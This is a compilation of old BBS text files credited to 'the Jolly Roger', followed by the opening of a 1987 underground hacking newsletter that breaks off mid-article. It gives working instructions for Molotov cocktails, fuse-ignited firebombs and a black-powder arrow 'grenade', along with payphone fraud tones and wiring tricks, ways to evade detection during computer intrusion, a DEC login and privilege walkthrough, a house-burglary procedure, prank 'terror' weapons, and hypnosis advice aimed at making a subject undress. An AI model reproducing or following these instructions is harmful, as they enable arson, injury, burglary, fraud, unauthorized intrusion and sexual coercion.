I feel this is a major Bug on Mr. Ledbetter's part. I just don't know why
no one had thought of it before. I would like to give credit to
Redline for the message he left on Modem Hell telling about this problem,
and also to Unka for his ideas and input about correcting it.
This has been brought to you from [_The_Piper_] and the S.O.D. BBS
Network!
Firebombs by the Jolly Roger
Most fire bombs are simply gasoline filled bottles with a fuel
soaked rag in the mouth (the bottle's mouth, not yours). The original
Molotov cocktail, and still about the best, was a mixture of one part
gasoline and one part motor oil. The oil helps it to cling to what it
splatters on.
Some use one part roofing tar and one part gasoline. Fire bombs
have been found which were made by pouring melted wax into gasoline.
-------------Exodus-------------
_
Fuse Ignition Bomb by The Jolly Roger
A four strand homemade fuse is used for this. It burns like fury.
It is held down and concealed by a strip of bent tin cut from a can.
The exposed end of the fuse is dipped into the flare igniter. To use
this one, you light the fuse and hold the fire bomb until the fuse has
burned out of sight under the tin. Then throw it and when it breaks,
the burning fuse will ignite the contents.
-------------Exodus------------
see later file on these...
_
Generic Bomb by the Jolly Roger
1) Aquire a glass container
2) Put in a few drops of gasoline
3) Cap the top
4) Now turn the container around to coat the inner surfaces and then
evaporates
5) Add a few drops of potassium permanganate (<-Get this stuff from a
snake bite kit)
6) The bomb is detonated by throwing aganist a solid object.
*AFTER THROWING THIS THING RUN LIKE HELL THIS THING PACKS ABOUT 1/2
STICK OF DYNAMITE*
---------------Exodus
_
Green Box Plans by the Jolly Roger
Paying the initial rate in order to use a red box (on certain
fortresses) left a sour taste in many red boxers mouths, thus the
green box was invented. The green box generates useful tones such as
COIN COLLECT, COIN RETURN, AND RINGBACK. These are the tones that
ACTS or the TSPS operator would send to the CO when appropriate.
Unfortunately, the green box cannot be used at the fortress station but
must be used by the CALLED party.
Here are the tones:
COIN COLLECT 700+1100hz
COIN RETURN 1100+1700hz
RINGBACK 700+1700hz
Before the called party sends any of these tones, an operator realease
signal should be sent to alert the MF detectors at the CO.
This can be done by sending 900hz + 1500hz or a single 2600 wink (90 ms.)
Also do not forget that the initial rate is collected shortly before the
3 minute period is up. Incidentally, once the above MF
tones for collecting and returning coins reach the CO, they are
converted into an appropriate DC pulse (-130 volts for return and
+130 for collect). This pulse is then sent down the tip to the
fortress. This causes the coin relay to either return or collect the coins.
The alledged "T-network" takes advantage of this information.
When a pulse for coin collect (+130 VDC) is sent down the line,
it must be grounded somewhere. This is usually the yellow or black wire.
Thus, if the wires are exposed, these wires can be cut to prevent
the pulse from being grounded. When the three minute initial
period is almost up, make sure that the black and yellow wires are
severed, then hang up, wait about 15 seconds in case of a second
pulse, reconnect the wires, pick up the phone, and if all goes well,
it should be "JACKPOT" time.
---------Exodus----------
_
Portable Grenade Launcher by the Jolly Roger
If you have a bow, this one is for you. Remove the ferrule from an
aluminum arrow, and fill the arrow with black powder (I use grade
FFFF, it burns easy)and then glue a shotshell primer into the hole
left where the ferrule went. Next, glue a BB on the primer, and you
are ready to go! Make sure no one is nearby.... Little shreds of
aluminum go all over the place!!
------------Exodus----------
_
Hacking Tutorial Courtesy of the Jolly Roger
What is hacking?
----------------
According to popular belief the term hacker and hacking was founded at mit
it comes from the root of a hack writer,someone who keeps "hacking" at
the typewriter until he finishes the story.a computer hacker would be
hacking at the keyboard or password works.
What you need:
--------------
To hack you need a computer equipped with a modem (a device that lets you
transmit data over phone lines) which should cost you from $100 to $1200.
How do you hack?
----------------
Hacking recuires two things:
1. The phone number
2. Answer to identity elements
How do you find the phone #?
----------------------------
There are three basic ways to find a computers phone number.
1. Scanning,
2. Directory
3. Inside info.
What is scanning?
-----------------
Scanning is the process of having a computer search for a carrier tone.
For example,the computer would start at (800) 111-1111 and wait for carrier
if there is none it will go on to 111-1112 etc.if there is a carrier it
will record it for future use and continue looking for more.
What is directory assictance?
-----------------------------
This way can only be used if you know where your target computer is. For this
example say it is in menlo park, CA and the company name is sri.
1. Dial 411 (or 415-555-1212)
2. Say "Menlo park"
3. Say "Sri"
4. Write down number
5. Ask if there are any more numbers
6. If so write them down.
7. Hang up on operator
8. Dial all numbers you were given
9. Listen fir carrier tone
10. If you hear carrier tone write down number, call it on your modem and your
set to hack!
---------------EXODUS
_
The Basics of Hacking II Courtesy of the Jolly Roger
Basics to know before doing anything, essential to your continuing
career as one of the elite in the country... This article, "the
introduction to the world of hacking" is meant to help you by telling you
how not to get caught, what not to do on a computer system, what type of
equipment should I know about now, and just a little on the history, past
present future, of the hacker.
Welcome to the world of hacking! We, the people who live outside of the
normal rules, and have been scorned and even arrested by those from the
'civilized world', are becomming scarcer every day. This is due to the
greater fear of what a good hacker (skill wise, no moral judgements
here)|can do nowadays, thus causing anti- hacker sentiment in the masses.
Also, few hackers seem to actually know about the computer systems they
hack, or what equipment they will run into on the front end, or what they
could do wrong on a system to alert the 'higher' authorities who monitor
the system. This article is intended to tell you about some things not to
do, even before you get on the system. I will tell you about the new wave
of front end security devices that are beginning to be used on computers.
I will attempt to instill in you a second identity, to be brought up at
time of great need, to pull you out of trouble. And, by the way, I take no, repeat,
no, responcibility for what we say in this and the forthcoming articles.
Enough of the bullshit, on to the fun: after logging on your favorite bbs,
you see on the high access board a phone number! It says it's a great
system to "fuck around with!" This may be true, but how many other people
are going to call the same number? So: try to avoid calling a number
given to the public. This is because there are at least every other
user calling, and how many other boards will that number spread to?
If you call a number far, far away, and you plan on going thru an
extender or a re-seller, don't keep calling the same access number
(I.E. As you would if you had a hacker running), this looks very suspicious
and can make life miserable when the phone bill comes in the mail.
Most cities have a variety of access numbers and services,
so use as many as you can. Never trust a change in the system...
The 414's, the assholes, were caught for this reason: when one of them
connected to the system, there was nothing good there. The next time,
there was a trek game stuck right in their way! They proceded to play said
game for two, say two and a half hours, while telenet was tracing them!
Nice job, don't you think? If anything looks suspicious, drop the line
immediately!! As in, yesterday!! The point we're trying to get accross is:
if you use a little common sence, you won't get busted. Let the little
kids who aren't smart enough to recognize a trap get busted, it will take
the heat off of the real hackers. Now, let's say you get on a computer
system... It looks great, checks out, everything seems fine.
Ok, now is when it gets more dangerous. You have to know the computer
system to know what not to do.
Basically, keep away from any command something, copy a new file into the
account, or whatever! Always leave the account in the same status you
logged in with. Change *nothing*... If it isn't an account with priv's,
then don't try any commands that require them! All, yes all, systems are
going to be keeping log files of what users are doing, and that will
show up. It is just like dropping a trouble-card in an ESS system,
after sending that nice operator a pretty tone.
Spend no excessive amounts of time on the account in one stretch.
Keep your calling to the very late night ifpossible, or during
business hours (believe it or not!). It so happens
that there are more users on during business hours, and it is very
difficult to read a log file with 60 users doing many commnds every minute.
Try to avoid systems where everyone knows each other, don't try to bluff.
And above all: never act like you own the system, or are the best there
is. They always grab the people who's heads swell... There is some very
interesting front end equipment around nowadays, but first let's
define terms... By front end, we mean any device that you must
pass thru to get at the real computer. There are devices that are made to
defeat hacker programs, and just plain old multiplexers.
To defeat hacker programs, there are now devices that pick up the phone
and just sit there... This means that your device gets no carrier,
thus you think there isn't a computer on the other end. The
only way around it is to detect when it was picked up. If it pickes up
after the same number ring, then you know it is a hacker-defeater.
These devices take a multi-digit code to let you into the system.
Some are, in fact, quite sophisticated to the point where it
will also limit the user name's down, so only one name or set of names
can be valid logins after they input the code... Other devices input a
number code, and then they dial back a pre-programmed number for that code.
These systems are best to leave alone,
because they know someone is playing with their phone. You may think "but
i'll just reprogram the dial-back." Think again, how stupid that is...
Then they have your number, or a test loop if you were just a little
smarter. If it's your number, they have your balls (if male...),
If its a loop, then you are screwed again, since those loops
are *monitored*. As for multiplexers... What a plexer is supposed
to do is this:
The system can accept multiple users. We have to time share, so we'll let
the front-end processor do it... Well, this is what a multiplexer does.
Usually they will ask for something like "enter class" or "line:". Usually
it is programmed for a double digit number, or a four to five letter word.
There are usually a few sets of numbers it accepts, but those numbers also
set your 300/1200/2400 baud data type.
These multiplexers are inconvenient at best, so not to worry. A little
about the history of hacking: hacking, by my definition, means a great
knowledge of some special area. Doctors and lawyers
are hackers of a sort, by this definition. But most often, it is
being used in the computer context, and thus we have a definition of
"anyone who has a great amount of computer or telecommunications
knowledge." You are not a hacker because you have a list of codes...
Hacking, by my definition, has then been around only about 15 years.
It started, where else but, mit and colleges where they had computer
science or electrical engineering departments.
Hackers have created some of the best computer languages, the
most awesome operating systems, and even gone on to make millions.
Hacking used to have a good name, when we could honestly say
"we know what we are doing". Now it means (in the public eye):
the 414's, ron austin, the nasa hackers, the arpanet hackers...
All the people who have been caught,
have done damage, and are now going to have to face fines and sentences.
Thus we come past the moralistic crap, and to our purpose: educate the
hacker community, return to the days when people actually knew something...
--------------Exodus--------------
_
Hacking DEC's by the Jolly Roger
In this article you will learn how to log in to dec's, logging out, and all
the fun stuff to do in-between. All of this information is based on a
standard dec system.
Since there are dec systems 10 and 20, and I favor, the dec 20,
there will be more info on them in this article. It just so happens
that the dec 20 is also the more common of the two, and is used by much
more interesting people (if you know what I mean...) Ok, the first thing
you want to do when you are receiving carrier from a dec system is to find
out the format of login names. You can do this by looking at who is on the
system.
Dec=> ` (the 'exec' level prompt)
you=> sy
sy is short for sy(stat) and shows you the system status.
You should see the format of login names...
A systat usually comes up in this form:
job line program user
job: the job number (not important unless you want to log them off later)
line: what line they are on (used to talk to them...)
These are both two or three digit numbers.
Program: what program are they running under? If it says 'exec'
they aren't doing anything at all...
User: ahhhahhhh! This is the user name they are logged in under...
Copy the format, and hack yourself outa working code... Login format is as
such:
dec=> `
you=> login username password
username is the username in the format you saw above in the systat.
After you hit the space after your username, it will stop echoing
characters back to your screen. This is the password you are typing in...
Remember, people usually use their name, their dog's name, the name of a
favorite character in a book, or something like this. A few clever
people have it set to a key cluster (qwerty or asdfg). Pw's can be from 1
to 8 characters long, anything after that is ignored. You are finally in...
It would be nice to have a little help, wouldn't it? Just type a ? Or the
word help, and it will give you a whole list of topics...
Some handy characters for you to know would be the control keys,
wouldn't it? Backspace on a dec 20 is rub which is 255 on your ascii chart.
On the dec 10 it is cntrl-h. To abort a long listing or a program,
cntrl-c works fine. Use cntrl-o to stop long output to the terminal.
This is handy when playing a game, but you don't want to cntrl-c out.
Cntrl-t for the time. Cntrl-u will kill the whole line you are typing at
the moment. You may accidently run a program where the only way out is
a cntrl-x, so keep that in reserve. Cntrl-s to stop listing, cntrl-q to
continue on both systems. Is your terminal having trouble??
Like, it pauses for no reason, or it doesn't backspace right? This is
because both systems support many terminals, and you haven't told it what
yours is yet... You are using a vt05
so you need to tell it you are one.
Dec=> `
you=> information terminal
or...
You=> info
this shows you what your terminal is set up as...
Dec=>all sorts of shit, then the `
you=> set ter vt05 this sets your terminal
type to vt05.
Now let's see what is in the account (here after abbreviated acct.)
that you have hacked onto... Say
=> dir
short for directory, it shows
you what the user of the code has save to the disk. There should be a format
like this: xxxxx.Oooxxxxx is the file name, from 1 to 20 characters
long. Ooo is the file type, one of: exe, txt, dat, bas, cmd and a few
others that are system dependant.
Exe is a compiled program that can be run (just by typing its name at the `).
Txt is a text file, which you can see by
typing=>
type xxxxx.Txt
Do not try to=>
type xxxxx.Exe this is very bad for your terminal and will tell you
absolutly nothing.
Dat is data they have saved.
Bas is a basic program, you can have it typed out for you.
Cmd is a command type file, a little too
complicated to go into here.
Try =>
take xxxxx.Cmd
By the way, there are other users out there who may have files you can use
(gee, why else am I here?).
Type => dir <*.*> (Dec 20)
=> dir [*,*] (dec 10)
* is a wildcard, and will allow you to access the files on other accounts
if the user has it set for public access. If it isn't set for public access,
then you won't see it. To run that program:
dec=> `
you=> username program-name
username is the directory you saw the
file listed under, and file name was
what else but the file name?
** You are not alone **
remember, you said (at the very start) sy short for systat,
and how we said this showed the other users on the system? Well, you
can talk to them, or at least send a message to anyone you see listed in a
systat. You can do this by:
dec=> the user list (from your systat)
you=> talkusername (dec 20)
send username (dec 10)
talk allows you and them immediate transmission of whatever you/they type
to be sent to the other. Send only allow you one message to be sent, and
send, they will send back to you, with talk you can just keep going. By the
way, you may be noticing with the talk command that what you type is still
acted upon by the parser (control program). To avoid the constant error
messages type either:
you=> ;your message
you=> rem your message
the semi-colon tells the parser that what follows is just a comment. Rem
is short for 'remark' and ignores you from then on until you type a cntrl-z
or cntrl-c, at which point it puts you back in the exec mode. To break the
connection from a talk command type:
you=> break priv's:
if you happen to have privs, you can do all sorts of things.
First of all, you have to activate those privs.
You=> enable
this gives you a $ prompt, and allows you to do this:
whatever you can do to your own directory you can now do to any
other directory. To create a new acct. Using your privs, just type
=>build username
if username is old, you can edit it, if it is new, you can
define it to be whatever you wish. Privacy means nothing to a user with
privs. By the way, there are various levels of privs: operator, wheel,
cia.
wheel is the most powerful, being that he can log in from anywhere and
have his powers.
Operators have their power because they are at a special terminal
allowing them the privs. Cia is short for 'confidential information
access', which allows you a low level amount of privs.
Not to worry though, since you can read the system log file, which also
has the passwords to all the other accounts.
To de-activate your privs, type
you=> disable
when you have played your greedy heart out, you can finally leave the
system with the command=>
logout
this logs the job you are using off the system (there may be varients
of this such as kjob, or killjob).
----------------Exodus---------------
_
Harmless Bombs by the Jolly Roger
To all those who do not wish to inflict bodily damage on their victims
but only terror.
These are weapons that should be used from high places.
1) The flour bomb.
Take a wet paper towel and pour a given amount of baking flour in
the center. Then wrap it up and put on a rubber band to keep it
together. When thrown it will fly well but when it hits, it covers
the victim with the flower or causes a big puff of flour which will
put the victim in terror since as far as they are concerned, some
strange white powder is all over them. This is a cheap method of
terror and for only the cost of a roll of paper towels and a bag of
flour you and your friends can have loads of fun watching people
flee in panic.
2) Smoke bomb projectile.
All you need is a bunch of those little round smoke bombs and a
wrist rocket or any sling-shot. Shoot the smoke bombs and watch the
terror since they think it will blow up!
3) Rotten eggs (good ones)
Take some eggs and get a sharp needle
and poke a small hole in the top of each one.
Then let them sit in a warm place for about a week. Then you've got a
bunch of rotten eggs that will only smell when they hit.
4) Glow in the dark terror.
Take one of those tubes of glow in the dark stuff and pour the
stuff on whatever you want to throw and when it gets on the victim,
they think it's some deadly chemical or a radioactive substance so
they run in total panic. This works especially well with flower
bombs since a gummy, glowing substance gets all over the victim.
5) Fizzling panic.
Take a baggie of a water-baking soda solution and seal it. (Make
sure there is no air in it since the solution will form a gas and
you don't want it to pop on you.) Then put it in a bigger plastic
bag and fill it with vinegar and seal it. When thrown, the two
substances will mix and cause a violently bubbling substance to go
all over the victim.
Updated-'94
---------------Exodus-----------------
_
Breaking Into Houses by the Jolly Roger
Okay You Need:
1. Tear Gas or Mace
2. A BB/Pelet Gun
3. An Ice Pick
4. Thick Gloves
What You Do Is:
1. Call the ###-#### of the house, or ring doorbell, To find out if
they're home.
2. If they're not home then...
3. Jump over the fence or walk through gate (whatever).
4. If you see a dog give him the mace or tear gas.
5. Put the gloves on!!!!!!!
6. Shoot the BB gun slightly above the window locks.
7. Push the ice-pick through the hole (made by the BB gun).
8. Enter window.
9. FIRST...Find the LIVING ROOM. (they're neat things there!).
10. Then goto the Bed-room to get a pillow case. Put the goodies in
the pillow case.
11. Get out <-* FAST! -*>
Notes: You should have certian targets worked out (like computers,
Radios, Ect.,Ect.). Also <-* NEVER *-> Steal from your own
neigborhood. If you think they have an alarm...<-* FORGET IT! *->.
See later file... Exodus
_
A Guide to Hypnotism Courtesy of the Jolly Roger
(Originally an Apple ][ file, forgive the uppercase!)
+-------------------+
! WHAT HYPNOTISM IS !
+-------------------+
HYPNOTISM, CONTRARY TO COMMON BELEIF, IS MERELY STATE WHEN YOUR MIND AND
BODY ARE IN A STATE OF RELAXATION AND YOUR MIND IS OPEN TO POSITIVE, OR
CLEVERLY WORDED NEGATIVE, INFLUENCES. IT IS NOT A TRANCE WHERE YOU:
> ARE TOTALLY INFLUENCABLE.
> CANNOT LIE.
> A SLEEP WHICH YOU CANNOT WAKE UP FROM
WITHOUT HELP.
THIS MAY BRING DOWN YOUR HOPE SOMEWHAT, BUT, HYPNOTISM IS A POWERFUL FOR
SELF HELP, AND/OR MISCHEIF.
+-----------------------+
! YOUR SUBCONCIOUS MIND !
+-----------------------+
BEFORE GOING IN FURTHER, I'D LIKE TO STATE THAT HYPNOTISM NOT ONLY IS
GREAT IN THE WAY THAT IT RELAXES YOU AND GETS YOU (IN THE LONG RUN) WHAT
YOU WANT, BUT ALSO THAT IT TAPS A FORCE OF INCREDIBLE POWER, BELEIVE IT OR
NOT, THIS POWER IS YOUR SUBCONCIOUS MIND.
THE SUBCONCIOUS MIND ALWAYS KNOWS WHAT IS GOING ON WITH EVERY PART OF YOUR BODY,
EVERY MOMENT OF THE DAY. IT PROTECTS YOU FROM NEGATIVE INFLUENCES,
AND RETAINS THE POWER TO SLOW YOUR HEARTBEAT DOWN AND STUFF LIKE THAT.
THE SUBCONCIOUS MIND HOLDS JUST ABOUT ALL THE INFO YOU WOULD LIKE TO KNOW
ABOUT YOURSELF, OR, IN THIS CASE, THE PERSON YOU WILL BE HYPNOTISING.
THERE ARE MANY WAYS TO TALK TO YOUR SUBCONCIOUS AND HAVE IT TALK BACK TO
YOU. ONE WAY IS THE OUJA BOARD, NO ITS NOT A SPIRIT, MERELY THE
MINDS OF THOSE WHO ARE USING IT. ANOTHER, WHICH I WILL DISCUSS HERE,
IS THE PENDULUM METHOD. OK, HERE IS HOW IT GOES.
FIRST, GET A RING OR A WASHER AND TIE IT TO A THREAD A LITTLE LONGER THAN
HALF OF YOUR FOREARM. NOW, TAKE A SHEET OF PAPER AND DRAW A BIG CIRCLE IN
IT. IN THE BIG CIRCLE YOU MUST NOW DRAW A CROSSHAIR (A BIG +). NOW, PUT
THE SHEET OF PAPER ON A TABLE. NEXT, HOLD THE THREAD WITH THE RING OR
WASHER ON IT AND PLACE IT (HOLDING THE THREAD SO THAT THE RING IS 1 INCH
ABOVE THE PAPER SWINGING) IN THE MIDDLE OF THE CROSSHAIR. NOW, SWING
THE THREAD SO THE WASHER GOES UP AND DOWN, SAY TO YOURSELF THE WORD "YES"
NOW, DO IT SIDE TO SIDE AND SAY THE WORD "NO".
DO IT COUNTER CLOCKWISE AND SAY "I DON'T KNOW".
AND LASTLY, DO IT CLOCKWISE AND SAY "I DONT WANT TO SAY." NOW, WITH THE
THREAD BACK IN THE MIDDLE OF THE CROSSHAIR, ASK YOURSELF QUESTIONS AND
WAIT FOR THE PENDULUM TO SWING IN THE DIRECTION FOR THE ANSWER. (YES, NO,
I DONT KNOW OR I DONT WANNA SAY...). SOON, TO YOUR AMAZEMENT, IT WILL BE
ANSWERING QUESTIONS LIKE ANYTHING... LET THE PENDULUM ANSWER, DONT TRY..
WHEN YOU TRY YOU WILL NEVER GET AN ANSWER. LET THE ANSWER COME TO YOU.
+-------------------------+
! HOW TO INDUCE HYPNOTISM !
+-------------------------+
NOW THAT YOU KNOW HOW TO TALK TO YOUR SUBCONCIOUS MIND, I WILL NOW TELL YOU
HOW TO GUIDE SOMEONE INTO HYPNOSIS. NOTE THAT I SAID GUIDE, YOU CAN NEVER,
HYNOTISE SOMEONE, THEY MUST BE WILLING. OK, THE SUBJECT MUST BE LYING OR
SITTING IN A COMFORTABLE POSITION, RELAXED, AND AT A TIME WHEN THINGS ARENT
GOING TO BE INTERRUPTED.
TELL THEM THE FOLLOWING OR SOMETHING CLOSE TO IT, IN A PEACEFUL, MONOTINOUS
TONE (NOT A COMMANDING TONE OF VOICE)
NOTE: LIGHT A CANDLE AND PLACE IT SOMEWHERE WHERE IT CAN BE EASILY SEEN.
TAKE A DEEP BREATH THROUGH YOUR NOSE AND HOLD IT IN FOR A COUNT OF 8. NOW,
THROUGH YOUR MOUTH, EXHALE COMPLETELY AND SLOWLY. CONTINUED BREATHING LONG,
DEEP, BREATHS THROUGH YOUR NOSE AND EXHALING THROUGH YOUR MOUTH. TENSE UP
ALL YOUR MUSCLES VERY TIGHT, NOW, COUNTING FROM TEN TO ONE, RELEASE THEM
SLOWLY, YOU WILL FIND THEM VERY RELAXED. NOW, LOOK AT THE CANDLE, AS
YOU LOOK AT IT, WITH EVERY BREATH AND PASSING MOMEMENT, YOU ARE FEELING
INCREASINGLY MORE AND MORE PEACEFUL AND RELAXED. THE CANDLES FLAME IS
PEACEFUL AND BRIGHT.
AS YOU LOOK AT IT I WILL COUNT FROM 100 DOWN, AS A COUNT, YOUR EYES WILL
BECOME MORE AND MORE RELAXED, GETTING MORE AND MORE TIRED WITH EACH
PASSING MOMENT."
NOW, COUNT DOWN FROM 100, ABOUT EVERY 10 NUMBERS SAY "WHEN I REACH XX YOUR
EYES (OR YOU WILL FIND YOUR EYES) ARE BECOMING MORE AND MORE TIRED." TELL
THEM THEY MAY CLOSE THEIR EYES WHENEVER THEY FEEL LIKE IT. IF THE PERSONS
EYES ARE STILL OPEN WHEN YOU GET TO 50 THEN INSTEAD OF SAYING
"YOUR EYES WILL.."
SAY "YOUR EYES ARE...".
WHEN THEIR EYES ARE SHUT SAY THE FOLLOWING. AS YOU LIE (OR SIT) HERE WITH
YOUR EYES COMFORTABLY CLOSE YOU FIND YOURSELF RELAXING MORE AND
MORE WITH EACH MOMENT AND BREATH.
THE RELAXATION FEELS PLEASANT AND BLISSFUL SO, YOU HAPPILY GIVE WAY TO
THIS WONDERFUL FEELING. IMAGINGE YOURSELF ON A CLOUD, RESTING PEACEFULLY,
WITH A SLIGHT BREEZE CARESSING YOUR BODY. A TINGLING SENSASION BEGINS
TO WORK ITS WAY, WITHIN AND WITHOUT YOUR TOES, IT SLOWLY MOVES UP YOUR
FEET, MAKING THEM WARM, HEAVY AND RELAXED. THE CLOUD IS SOFT AND SUPPORTS
YOUR BODY WITH ITS SOFT TEXTURE, THE SCENE IS PEACEFUL AND ABSORBING,
THE PEACEFULNESS ABSORBS YOU COMPLETELY...
THE TINGLING GENTLY AND SLOWLY MOVES UP YOUR LEGS, RELAXING THEM.
MAKING THEM WARM AND HEAVY. THE RELAXATION FEELS VERY GOOD, IT FEELS SO
GOOD TO RELAX AND LET GO. AS THE TINGLING CONTINUES ITS JOURNEY UP INTO
YOUR SOLAR PLEXUS, YOU FEEL YOUR INNER STOMACH BECOME VERY RELAXED. NOW,
IT MOVES SLOWLY INTO YOUR CHEST, MAKING YOUR BREATHING RELAXED AS WELL.
THE FEELING BEGINS TO MOVE UP YOUR ARMS TO YOUR SHOULDERS, MAKING YOUR ARMS
HEAVY AND RELAXED AS WELL. YOU ARE AWARE OF THE TOTAL RELAXATION YOU ARE
NOW EXPERIENCING, AND YOU GIVE WAY TO IT. IT IS GOOD AND PEACEFUL, THE
TINGLING NOW MOVEVES INTO YOUR FACE AND HEAD, RELAXING YOUR JAWS, NECK, AND
FACIAL MUSCLES, MAKING YOUR CARES AND WORRIES FLOAT AWAY. AWAY INTO THE
BLUE SKY AS YOU REST BLISFUlLY ON THE CLOUD....
IF THEY ARE NOT RESPONSIVE OR YOU THINK THEY (HE OR SHE..) IS GOING TO
SLEEP, THEN ADD IN A "...ALWAYS CONCENTRATING UPON MY VOICE, INGORING ALL
OTHER SOUNDS. EVEN THOUGH OTHER SOUNDS EXSIST, THEY AID YOU IN YOUR
RELAXATION..." THEY SHOULD SOON LET OUT A SIGH AS IF THEY WERE LETTING GO,
AND THEIR FACE SHOULD HAVE A "WOODENESS" TO IT, BECOMING FEATURLESS... NOW,
SAY THE FOLLOWING ".... YOU NOW FIND YOURSELF IN A HALLWAY, THE HALLWAY IS
PEACEFUL AND NICE. AS I COUNT FROM 10 TO 1 YOU WILL IMAGINE YOURSELF
WALKING FURTHER AND FURTHER DOWN THE HALL. WHEN I REACH ONE YOU WILL FIND
YOURSELF WHERE YOU WANT TO BE, IN ANOTHER, HIGHER STATE OF CONCIOUS AND
MIND. (COUNT FROM TEN TO ONE)....." DO THIS ABOUT THREE OR FOUR TIMES.
THEN, TO TEST IF THE SUBJECT IS UNDER HYPNOSIS OR NOT, SAY....
"...YOU FEEL A STRANGE SENSATION IN YOUR (ARM THEY WRITE WITH) ARM, THE
FEELING BEGINS AT YOUR FINGERS AND SLOWLY MOVES UP YOUR ARM, AS IT MOVES
THROUGH YOUR ARM YOUR ARM BECOMES LIGHTER AND LIGHTER, IT WILL SOON BE SO
LIGHT IT WILL ..... BECOMING LIGHTER AND LIGHTER WHICH EACH BREATH AND
MOMENT..."
THEIR FINGERS SHOULD BEGIN TO TWITCH AND THEN MOVE UP, THE ARM FOLLOWING,
NOW MY FRIEND, YOU HAVE HIM/HEP IN HYPNOSIS. THE FIRST TIME YOU DO THIS,
WHILE HE/SHE IS UNDER SAY GOOD THINGS, LIKE: "YOUR GOING TO FEEL GREAT
TOMORROW" OR "EVERY DAY IN EVERY WAY YOU WILL FIND YOURSELF BECOMING BETTER
AND BETTER".. OR SOME CRAP LIKE THAT... THE MORE THEY GO UNDER, THE DEEPER
IN HYPNOSIS THEY WILL GET EACH TIME YOU DO IT.
+----------------------------+
! WHAT TO DO WHEN HYPNOTISED !
+----------------------------+
WHEN YOU HAVE THEM UNDER YOU MUST WORD THINGS VERY CAREFULLY TO GET YOUR
WAY. YOU CANNOT SIMPLY SAY... TAKE OFF YOUR CLOTHES AND FUCK THE PILLOW.
NO, THAT WOULD NOT REALLY DO THE TRICK. YOU MUST SAY SOMETHING LIKE....
"YOU FIND YOUR SELF AT HOME, IN YOUR ROOM AND YOU HAVE TO TAKE A SHOWER
(VIVIDLY DESCRIBE THEIR ROOM AND WHATS HAPPENING), YOU BEGIN TO TAKE OFF
YOUR CLOTHES..." NOW, IT CANT BE THAT SIMPLE, YOU MUST KNOW THE PERSONS
HOUSE, ROOM, AND SHOWER ROOM. THEN DESCRIBE THINGS VIVIDLY AND TELL THEM
TO ACT IT OUT (THEY HAVE TO BE DEEPLY UNDER TO DO THIS...). I WOULD JUST
SUGGEST THAT YOU EXPERIMENT A WHILE, AND GET TO KNOW HO; TO DO THINGS.
+-----------+
! WAKING UP !
+-----------+
WAKING UP IS VERY EASY, JUST SAY.. "...AS I COUNT FROM 1 TO 5 YOU WILL
FIND YOURSELF BECOMMING MORE AND MORE AWAKE, MORE AND MORE LIVELY. WHEN
YOU WAKE UP YOU WILL FIND YOURSELF COMPLETELY ALIVE, AWAKE, AND REFRESHED.
MENTALLY AND PHYSICALLY, REMEMBERING THE PLEASANT SENSATION THAT HYPNOSIS
BRINGS... WAKING UP FEELING LIKE A NEW BORN BABY, REBORN WITH LIFE AND
VIGOR, FEELING EXCELLENT. REMEMBERING THAT NEXT TIME YOU ENTER HYPNOSIS IT
WILL BECOME AN EVER INCREASING DEEPER AND DEEPER STATE THAN BEFORE.
1- YOU FEEL ENERGY COURSE THROUGHOUT YOUR LIMBS.
2- YOU BEGIN TO BREATHE DEEPLY, STIRRING.
3- BEGINING TO MOVE MORE AND MORE YOUR EYES OPEN, BRINGING YOU UP TO
FULL CONCIOUS.
4- YOU ARE UP,UP, UP AND AWAKENING MORE AND MORE.
5- YOU ARE AWAKE AND FEELING GREAT."
AND THATS IT! YOU NOW KNOW HOW TO HYPNOTISE YOURSELF AND SOMEONE ELSE.
YOU WILL LEARN MORE AND MORE AS YOU EXPERIMENT.
------------------Jolly Roger
##########################################################################
# #
# The Remote Informer #
# #
#------------------------------------------------------------------------#
# Reader supported newsletter for the underworld #
#------------------------------------------------------------------------#
# #
# Editors: Tracker and Norman Bates #
# #
#========================================================================#
# September 1987 Issue: 01 #
#========================================================================#
# The Headlines #
#------------------------------------------------------------------------#
# 1) Introduction #
# 2) Hacking Sprint: The Easy Way #
# 3) Rumors: Why spread them? #
# 4) The New Sprint FON Calling Cards #
# 5) Automatic Number Identifier (ANI) #
##########################################################################
Introduction
--------------------------------------------------------------------------
Welcome to the first issue of 'The Remote Informer'! This newsletter
is reader supported. If the readers of this newsletter do not help
support it, then it will end. We are putting this out to help out the
ones that would like to read it. If you are one of those who thinks they
know everything, then don't bother reading it. This newsletter is not
anything like the future issues. The future issues will contain several
sections, as long as reader input is obtained. Below is an outline
overview of the sections in the future issues.
I/O Board (Input/Output Board)
The I/O Board is for questions you have, that we might be able to
answer or atleast refer you to someone or something. We will be honest if
we cannot help you. We will not make up something, or to the effect, just
to make it look like we answered you. There will be a section in the I/O
Board for questions we cannot answer, and then the readers will have the
opportunity to answer it. We will print anything that is reasonable in
the newsletter, even complaints if you feel like you are better than
everyone.
NewsCenter
This section will be for news around the underworld. It will talk of
busts of people in the underworld and anything else that would be
considered news. If you find articles in the paper, or something happens
in your local area, type it up, and upload it to one of the boards listed
at the end of the newsletter. Your handle will be placed in the article.
If you do enter a news article, please state the date and from where you
got it.
Feature Section
The Feature Section will be the largest of the sections as it will be
on the topic that is featured in that issue. This will be largely reader
input which will be sent in between issues. At the end of the issue at
hand, it will tell the topic of the next issue, therefore, if you have
something to contribute, then you will have ample time to prepare your
article.
Hardware/Software Review
In this section, we will review the good and bad points of hardware
and software related to the underworld. It will be an extensive review,
rather than just a small paragraph.
The Tops
This section will be the area where the top underworld BBS's, hacking
programs, modem scanners, etc. will be shown. This will be reader
selected and will not be altered in anyway. The topics are listed below.
Underworld BBS's (Hack, Phreak, Card, Anarchy, etc.)
Hacking programs for Hayes compatables
Hacking programs for 1030/Xm301 modems
Modem scanners for Hayes compatables
Modem scanners for 1030/Xm301 modems
Other type illegal programs
You may add topics to the list if enough will support it.
Tid Bits
This will contain tips and helpful information sent in by the users.
If you have any information you wish to contribute, then put it in a text
file and upload it to one of the BBS's listed at the end of the
newsletter.
Please, no long distance codes, mainframe passwords, etc.
We may add other sections as time goes by. This newsletter will not
be put out on a regular basis. It will be put out when we have enough
articles and information to put in it. There may be up to 5 a month, but
there will always be at least one a month. We would like you, the readers,
to send us anything you feel would be of interest to others, like hacking
hints, methods of hacking long distance companies, companies to card from,
etc. We will maintain the newsletter as long as the readers support it.
That is the end of the introduction, but take a look at this newsletter,
as it does contain information that may be of value to you.
==========================================================================
Hacking Sprint: The Easy Way
-------------------------------------------------------------------------
By: Tracker
If you hack US Sprint, 950-0777 (by the way it is no longer GTE
